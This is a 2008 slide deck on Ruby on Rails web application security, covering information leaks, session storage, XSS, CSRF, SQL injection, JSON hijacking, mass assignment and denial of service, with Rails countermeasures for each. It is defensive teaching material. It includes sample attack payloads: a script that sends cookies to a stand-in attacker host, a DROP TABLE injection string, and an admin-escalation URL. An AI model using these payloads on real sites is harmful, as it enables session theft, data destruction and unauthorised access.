Security on Rails

Jonathan Weiss, 03.09.2008
Peritor GmbH
Who are we?

Jonathan Weiss

- Consultant for Peritor GmbH in Berlin
- Specialized in Rails, Scaling, Security, and Code Review
- Webistrano - Rails deployment tool
- FreeBSD Rubygems and Ruby on Rails maintainer

http://www.peritor.com
http://blog.innerewut.de
Agenda

- Setup and deployment
- Application code
- Framework code

Rails Application Stack

Follow the application stack and look for

- Information leaks
- Possible vulnerabilities
- Security best practices
Rails Application Setup
Rails Setup

Rails Setup - FastCGI
Rails Setup - Mongrel
Rails Setup – mod_rails
Information leaks and vulnerabilities
Information leaks

Is the target application a Rails application?

• Default setup for static files:
  /javascripts/application.js
  /stylesheets/application.css
  /images/foo.png

• Pretty URLs
  /project/show/12
  /messages/create
  /folder/delete/43
  /users/83
Information leaks

Is the target application a Rails application?

- Rails provides default templates for 404 and 500 status pages
- Different Rails versions use different default pages
- 422.html only present in applications generated with Rails >= 2.0
Sample Status Pages

http://www.twitter.com/500.html

http://www.43people.com/500.html

Application error (Apache)

Change this error message for exceptions thrown outside of an action (like in Dispatcher setups or broken Ruby code) in public/500.html

http://www.strongspace.com/500.html

Rails >= 1.2 status 500 page
Server Header

GET http://www.43people.com

Date: Wed, 03 Sep 2008 11:23:24 GMT
Server: Apache/1.3.34 (Unix) mod_deflate/1.0.21 mod_fastcgi/2.4.2 mod_ssl/2.8.25 OpenSSL/0.9.7e-p1
Cache-Control: no-cache

GET https://signup.37signals.com/highrise/solo/signup/new

Date: Wed, 03 Sep 2008 11:54:24 GMT
Server: Mongrel 1.1.5
Status: 200 OK

# httpd.conf
Header unset Server

Disable Server header
Information leaks

Subversion metadata

- Typically Rails applications are deployed with Capistrano / Webistrano
- The default deployment will push .svn directories to the servers

GET http://www.strongspace.com/.svn/entries

... 
dir  
25376 
http://svn.joyent.com/joyent

2006-04-14T03:06:39.902218Z 34 justin@joyent.com ...

Prevent .svn download

.DirectoryMatch "^/.*\./svn/" 
.ErrorDocument 403 /404.html 
.Order allow,deny 
.Deny from all 
.Satisfy All 
</DirectoryMatch>
Cookie Session Storage

Since Rails 2.0 by default the session data is stored in the cookie

Base64(CGI::escape(SESSION-DATA))--HMAC(secret_key, SESSION-DATA)
Cookie Session Storage

Security implications

• The user can view the session data in plain text
• The HMAC can be brute-forced and arbitrary session data could be created
• Replay attacks are easier as you cannot flush the client-side session

Countermeasures

• Don’t store important data in the session!
• Use a strong password, Rails already forces at least 30 characters
• Invalidate sessions after certain time on the server side

… or just switch to another session storage
Cookie Session Storage

Rails default session secret

```ruby
config.action_controller.session = {
  :session_key => '_test_session',
  :secret => '45fc58464dc8a47f94700b1eb5e00fc30b42f9bce9f6a66cfe82f94330ecbb420875e11e9d997c9552855305c1fd23c44ec4bafcd321be47d015f0e0c8f47ee'
}
```

Set HTTPS only cookies

```ruby
ActionController::Base.session_options[:session_secure] = true
```
Cross-Site Scripting - XSS

“The injection of HTML or client-side Scripts (e.g. JavaScript) by malicious users into web pages viewed by other users.”

```html
<script>document.write('<img src="http://evil.site.com/" + document.cookie + '"><script>
```
Cross-Site Scripting - XSS

Cases of accepted user input

- No formatting allowed
  search query, user name, post title, ...

- Formatting allowed
  post body, wiki page, ...

XSS - No Formatting Allowed

Use the Rails `h()` helper to HTML escape user input

```
<h1>Hi <%h @user.name %>, welcome!</h2>
```

But using `h()` everywhere is easy to forget

- Use safeERB or XSS Shield plugin
- safeERB will raise an exception whenever a tainted string is not escaped
- Explicitly untaint string in order to not escape it

http://agilewebdevelopment.com/plugins/safe_erb
http://code.google.com/p/xss-shield/
XSS - Formatting Allowed

Two approaches

Use custom tags that will translate to HTML (vBulletin tags, RedCloth, Textile, …)

Use HTML and remove unwanted tags and attributes
  • Blacklist - Rails 1.2
  • Whitelist - Rails 2.0
**XSS - Custom Tags**

Relying on the external syntax is not really secure

```
RedCloth.new("<a href='javascript:alert(666)'>hello</a>",
[:filter_html]).to_html
=> "<p><a href="javascript:alert(666)">hello</a></p>"
```

Filter HTML anyhow
XSS - HTML Filtering

Use the Rails `sanitize()` helper

```html
<div class="post">
  <%= h @post.user.name %> wrote:<br />
  <%= sanitize(@post.body) %>
</div>
```

Only effective with Rails 2.0 (Whitelisting):

- Filters HTML nodes and attributes
- Removes protocols like "javascript:"
- Handles unicode/ascii/hex hacks
XSS - HTML Filtering

sanitize(html, options = {})

```ruby
<%= sanitize @article.body, :tags => %w(table tr td), :attributes => %w(id class style) %>
```

```ruby
Rails::Initializer.run do |config|
  config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
end

Rails::Initializer.run do |config|
  config.after_initialize do
    ActionView::Base.sanitized_allowed_tags.delete 'div'
  end
end

Rails::Initializer.run do |config|
  config.action_view.sanitized_allowed_attributes = 'id', 'class', 'style'
end
```

http://api.rubyonrails.com/classes/ActionView/Helpers/SanitizeHelper.html
XSS - HTML Filtering

Utilize Tidy if you want to be more cautious

```ruby
require 'tidy'

def clean_xhtml(html)
  return '' if html.blank?

  xhtml = Tidy.open(:show_warnings=>false) do |tidy|
    tidy.options.output_xhtml = true
    tidy.options.escape_cdata = true
    tidy.options.hide_comments = true
    tidy.options.char_encoding = 'utf8'

    xhtml = tidy.clean(html)
    xhtml
  end

  return sanitize(xhtml)
end
```
Session Fixation

Provide the user with a session that he shares with the attacker:

http://forum.example.com/thread/1?SESS_ID=02ccbd5684a96dd9
Session Fixation

Rails uses only cookie-based sessions

Still, you should reset the session after a login

```ruby
def login
  if user = User.authenticate(params[:username], params[:password])
    reset_session
    session[:user_id] = user.id
    redirect_to home_url
  end
end

def logout
  reset_session
  redirect_to '/login'
end
```

The popular authentication plugins like restful_authentication are not doing this!
Cross-Site Request Forgery - CSRF

You visit a malicious site which has an image like this

```html
<img src="http://my.bank.example/account/transfer?to=bob&amount=1000"/>
```

Only accepting POST does not really help
CSRF Protection in Rails

By default Rails 2.0 will check all POST requests for a session token

```ruby
class ApplicationController < ActionController::Base
  protect_from_forgery :secret => 'e8f7f38cdfdeb90cc4453584d793d5de'
end
```

```ruby
class PostsController < ApplicationController
  protect_from_forgery :secret => 'e2fbd56%84a96dd8a', :only => [:update, :delete, :create]
  ...
end
```

All forms generated by Rails will supply this token
CSRF Protection in Rails

Very useful and on-by-default, but make sure that

- GET requests are safe and idempotent
- Session cookies are not persistent (expires-at)
SQL Injection

The user’s input is not correctly escaped before using it in SQL statements

```sql
SELECT * FROM users WHERE username = 'peter' OR 1=1 -- ;
```

```ruby
User.find(:first, :conditions => "username = #{params[:username]}")
```
SQL Injection Protection in Rails

Always use the escaped form

```ruby
User.find(:first, :conditions => ["username = ? ", params[:username]])
User.find(:first, :conditions => { :user_name => user_name, :password => password })
User.find(:all, :conditions => [ "category IN (?)", [1,2,3] ])
User.find(:first, :conditions => ["username = :username ", :username => params[:username]])
```

If you have to manually use a user-submitted value, use `quote()`

```ruby
safe_name = quote(params[:user_name], username)
safe_age = quote(params[:age], age)
```
SQL Injection Protection in Rails

Take care with Rails < 2.1

```ruby
# params[:offset] => '1; DROP TABLE USERS'
Article.find(:all, :limit => params[:limit], :offset => params[:offset])
```

Limit and offset are only escaped in Rails >= 2.1

( MySQL special case )
JavaScript Hijacking

http://my.evil.site/

```html
<-- Use a script tag to load the victim data -->
<script src="http://my.bank.example/transactions.json"></script>
```

JSON response

```
[
  [from: a, to: b, amount: 300],
  [from: x, to: z, amount: -100],
]
```

The JSON response will be evaled by the Browser’s JavaScript engine.

With a redefined `Array()` function this data can be sent back to http://my.evil.site
JavaScript Hijacking Prevention

• Don’t put important data in JSON responses
• Use unguessable URLs
• Use a Browser that does not support the redefinition of Array & co, currently only FireFox 3.0
• Don’t return a straight JSON response, prefix it with garbage:

```
hi syntax error!
[
    [from: a, to: b, amount: 300],
    [from: x, to: z, amount: -100],
]
```

The Rails JavaScript helpers don’t support prefixed JSON responses
Mass Assignment

User model

class User < ActiveRecord::Base
  end

create_table "users", :force => true do |t|
  t.string  "login"
  t.string  "firstname"
  t.string  "lastname"
  t.string  "password"
  t.integer "admin", :default => 0
end
Mass Assignment

Handling in Controller

def update
    @user = User.find(params[:id])

    if @user.update_attributes(params[:user])
        flash[:notice] = "User successfully updated"
        redirect_to home_url
    end
end

A malicious user could just submit any value he wants

GET http://site.example/users/update/1?firstname=mike&admin=1
Mass Assignment

Use `attr_protected` and `attr_accessible`:

```ruby
class User < ActiveRecord::Base
  attr_protected :admin
end
```

Vs.

```ruby
class User < ActiveRecord::Base
  attr_accessible :login, :firstname, :lastname
end
```

Start with `attr_protected` and migrate to `attr_accessible` because of the different default policies for new attributes.
Rails Plugins

Re-using code through plugins is very popular in Rails

Plugins can have their problems too

- Just because somebody wrote and published a plugin it doesn’t mean the plugin is proven to be mature, stable or secure
- Popular plugins can also have security problems, e.g. restful_authentication
- Don’t use svn:externals to track external plugins, if the plugin’s home page is unavailable you cannot deploy your site
Rails Plugins

How to handle plugins

- Always do a code review of new plugins and look for obvious problems
- Track plugin announcements
- Track external sources with Piston, a wrapper around svn:externals

```
$ piston import http://dev.rubyonrails.org/svn/rails/trunk vendor/rails
Exported r4720 from 'http://dev.rubyonrails.org/svn/rails/trunk' to 'vendor/rails'
$ svn commit -m "Importing local copy of Rails"

$ piston update vendor/rails
Updated 'vendor/rails' to r4720.
$ svn commit -m "Updates vendor/rails to the latest revision"
```

http://piston.rubyforge.org/
Rails Denial of Service Attacks

Rails is single-threaded and a typical setup concludes:

• Limited number of Rails instances
  • ~8 per CPU
  • Even quite active sites (~500,000 PI/day) use 10-20 CPUs

• All traffic is handled by Rails

```xml
<Proxy balancer://rails_cluster>
  BalancerMember http://127.0.0.1:5000
  BalancerMember http://127.0.0.1:5001
  BalancerMember http://192.168.0.1:5000
  BalancerMember http://192.168.0.1:5001
  BalancerMember http://192.168.0.5:5000
</Proxy>

ProxyPass / balancer://rails_cluster/
ProxyPassReverse / balancer://rails_cluster/
```
Rails Denial of Service Attacks

A denial of service attack is very easy if Rails is handling down/uploads. Just start $X$ (= Rails instances count) simultaneous down/uploads over a throttled line.

This is valid for all slow requests, e.g.

- Image processing
- Report generation
- Mass mailing
Rails Slow Request DoS Prevention

Serve static files directly through the web server
- Apache, Lighttpd, nginx (use x-sendfile for private files)
- Amazon S3

Contaminate slow requests
- Define several clusters for several tasks
- Redirect depending on URL

Put slow requests into the background
- Fast request to create a background job
- Query job status with Ajax
Conclusion
Conclusion

Rails has many security features enabled by default

• SQL quoting
• HTML sanitization
• CSRF protection

The setup can be tricky to get right

Rails is by no means a “web app security silver bullet” but adding security is easy and not a pain like in many other frameworks